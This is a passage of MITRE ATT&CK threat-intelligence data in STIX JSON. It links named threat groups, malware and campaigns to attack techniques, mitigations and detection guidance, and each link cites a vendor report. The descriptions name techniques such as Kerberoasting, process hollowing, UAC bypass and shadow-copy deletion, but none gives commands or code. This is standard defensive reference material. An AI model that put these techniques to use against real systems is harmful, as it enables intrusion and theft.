Storm)","relationship_type":"uses","source_ref":"malware--166c0eca-02fd-424a-92c0-6b5106994d31","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e9ebd661-1095-4638-8231-1ebccf520069","created":"2024-09-03T16:39:20.239Z","revoked":false,"external_references":[{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T16:39:20.239Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has conducted Kerberoasting attacks using a module from GitHub.(Citation: Mandiant_UNC2165)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9f5096e-b9fc-459a-a303-88763b1269cc","type":"relationship","created":"2020-05-14T14:41:42.975Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","source_name":"FireEye FIN6 Apr 2019"}],"modified":"2020-05-15T19:15:35.568Z","description":"(Citation: FireEye FIN6 Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9f52758-d5aa-4a16-b614-ea756a0cf270","type":"relationship","created":"2019-07-02T12:58:09.729Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoJax Sept 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf","description":"ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019."}],"modified":"2019-12-20T13:43:45.300Z","description":"[LoJax](https://attack.mitre.org/software/S0397) is a UEFI BIOS rootkit deployed to persist remote access software on some targeted systems.(Citation: ESET LoJax Sept 2018)","relationship_type":"uses","source_ref":"malware--b865dded-0553-4962-a44b-6fe7863effed","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9fd0f73-917d-4d53-9843-a1314720942f","type":"relationship","created":"2020-01-24T14:56:24.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-05-04T19:05:30.437Z","description":"Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e9ff50dd-6367-43b1-9f75-1dee4028df84","created":"2022-09-29T19:09:20.687Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T19:09:20.687Z","description":"For [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors obtained a variety of tools, including [AdFind](https://attack.mitre.org/software/S0552), AnyDesk, and Process Hacker.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ea01b16f-5bd1-4443-be97-c523704f161c","created":"2024-08-14T22:32:31.325Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T22:32:31.325Z","description":"[CURIUM](https://attack.mitre.org/groups/G1012) created domains to facilitate strategic website compromise and credential capture activities.(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea022ac4-0c8b-4ad0-a160-14640654df2e","type":"relationship","created":"2020-02-05T18:59:28.794Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-05T18:59:28.794Z","relationship_type":"revoked-by","source_ref":"attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea023f09-6a7d-445c-a39d-5e57eea2706b","type":"relationship","created":"2019-03-25T19:31:02.184Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CIS Emotet Dec 2018","url":"https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/","description":"CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019."}],"modified":"2020-03-17T16:21:11.186Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has been observed leveraging a module that scrapes email data from Outlook.(Citation: CIS Emotet Dec 2018)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea027248-40a2-403b-a0e9-748bdc8c5667","type":"relationship","created":"2020-10-27T19:26:38.248Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-10-27T19:26:38.248Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has used AES and XOR to decrypt its DLLs.(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea05b76d-c443-4b41-8d02-d90b965bd184","type":"relationship","created":"2020-06-08T16:57:20.227Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-11T20:08:11.552Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to steal documents from the local system including the print spooler queue.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea0d80aa-9990-4968-845d-af777ac17374","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor for newly constructed network connections that may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution.","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea11624f-1025-46a9-820b-0b87866f534d","type":"relationship","created":"2019-01-30T17:33:40.878Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/","source_name":"Securelist MuddyWater Oct 2018"}],"modified":"2019-06-28T15:30:58.707Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll.(Citation: Securelist MuddyWater Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea187577-25ce-458f-a26b-9ee71d3879fd","type":"relationship","created":"2020-11-18T20:20:31.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2020-12-01T14:15:37.341Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can inject into a target process including Svchost, Explorer, and cmd using process hollowing.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ea1ebb6f-fee1-4a96-85e4-6888b419302b","created":"2024-03-06T18:10:02.210Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"},{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T21:13:50.970Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors disabled logging and modified the `compcheckresult.cgi` component to edit the Ivanti Connect Secure built-in Integrity Checker exclusion list to evade detection.(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea230e17-d23a-4a11-b2f9-358eeeea4ea3","type":"relationship","created":"2019-02-21T21:17:37.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT39 Jan 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}],"modified":"2021-10-12T23:00:49.649Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used stolen credentials to compromise Outlook Web Access (OWA).(Citation: FireEye APT39 Jan 2019)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea2f41fe-0701-4607-aa70-d6531c7461c6","type":"relationship","created":"2019-06-20T16:11:36.504Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Zebrocy May 2019","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."}],"modified":"2020-03-20T16:37:06.313Z","description":"[APT28](https://attack.mitre.org/groups/G0007) installed a Delphi backdoor that used a custom algorithm for C2 communications.(Citation: ESET Zebrocy May 2019)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea2f957a-b144-4f06-b3fe-891df62f9444","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques","description":"Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.","source_name":"jRAT Symantec Aug 2018"},{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2019-06-24T17:20:24.486Z","description":"[jRAT](https://attack.mitre.org/software/S0283) has the capability to take screenshots of the victim’s machine.(Citation: jRAT Symantec Aug 2018)(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea32ebd2-9827-43ec-a3d3-f0148fee8ed8","type":"relationship","created":"2020-05-18T17:31:39.474Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."},{"source_name":"Sophos Maze VM September 2020","url":"https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/","description":"Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}],"modified":"2020-10-19T13:55:56.528Z","description":"[Maze](https://attack.mitre.org/software/S0449) has attempted to delete the shadow volumes of infected machines, once before and once after the encryption process.(Citation: McAfee Maze March 2020)(Citation: Sophos Maze VM September 2020)","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ea33531e-7a8f-45a1-a408-c8f405512aaa","created":"2021-09-28T20:13:25.332Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike Qakbot October 2020","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021.","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/"},{"source_name":"Cyberint Qakbot May 2021","description":"Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021.","url":"https://blog.cyberint.com/qakbot-banking-trojan"},{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"},{"source_name":"ATT QakBot April 2021","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot"},{"source_name":"Red Canary Qbot","description":"Rainey, K. (n.d.). Qbot. Retrieved September 27, 2021.","url":"https://redcanary.com/threat-detection-report/threats/qbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T19:37:17.867Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has used Rundll32.exe to drop malicious DLLs including [Brute Ratel C4](https://attack.mitre.org/software/S1063) and to enable C2 communication.(Citation: Crowdstrike Qakbot October 2020)(Citation: Red Canary Qbot)(Citation: Cyberint Qakbot May 2021)(Citation: ATT QakBot April 2021)(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea3b16db-6b34-4171-9dec-7ce618f49dee","type":"relationship","created":"2021-01-27T16:57:46.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-01-27T16:57:46.748Z","description":"[Evilnum](https://attack.mitre.org/groups/G0120) has used malicious JavaScript files on the victim's machine.(Citation: ESET EvilNum July 2020)","relationship_type":"uses","source_ref":"intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ea4025b3-fc68-4d6a-a1c7-a607d5759f44","created":"2023-12-21T21:20:14.405Z","revoked":false,"external_references":[{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-21T21:20:14.405Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has abused legitimate executables to side-load weaponized DLLs.(Citation: Sygnia Emperor Dragonfly October 2022)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea40711b-461d-4629-b1fd-5f020b1f3257","type":"relationship","created":"2017-05-31T21:33:27.035Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2020-03-17T18:51:25.036Z","description":"[APT1](https://attack.mitre.org/groups/G0006) has used the Windows command shell to execute commands, and batch scripting to automate execution.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea40d7a0-bb12-4ed1-a5bd-efdc6bdad4b2","type":"relationship","created":"2020-11-18T20:56:31.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}],"modified":"2020-11-25T15:35:06.340Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can use various APIs to allocate memory and facilitate code execution/injection.(Citation: Cybereason Bazar July 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea41718b-4215-43d4-8d1f-def88af935e3","type":"relationship","created":"2021-04-12T16:12:36.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry Bahamut","url":"https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf","description":"The BlackBerry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."}],"modified":"2021-05-24T13:16:56.575Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has used malware to identify the computer name of a compromised host.(Citation: BlackBerry Bahamut)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea4871e2-8754-4002-9e76-a2c1c0ed7e2f","type":"relationship","created":"2021-10-05T01:45:52.768Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"wardle evilquest partii","url":"https://objective-see.com/blog/blog_0x60.html","description":"Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."}],"modified":"2021-10-05T01:45:52.768Z","description":"[ThiefQuest](https://attack.mitre.org/software/S0595) can download and execute payloads in-memory or from disk.(Citation: wardle evilquest partii)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ea4a70c8-5952-4a61-86a2-bdc801a64dc8","created":"2023-02-23T18:06:24.203Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T17:34:36.872Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has used a valid digital certificate for some of their malware.(Citation: Kaspersky LuminousMoth July 2021) 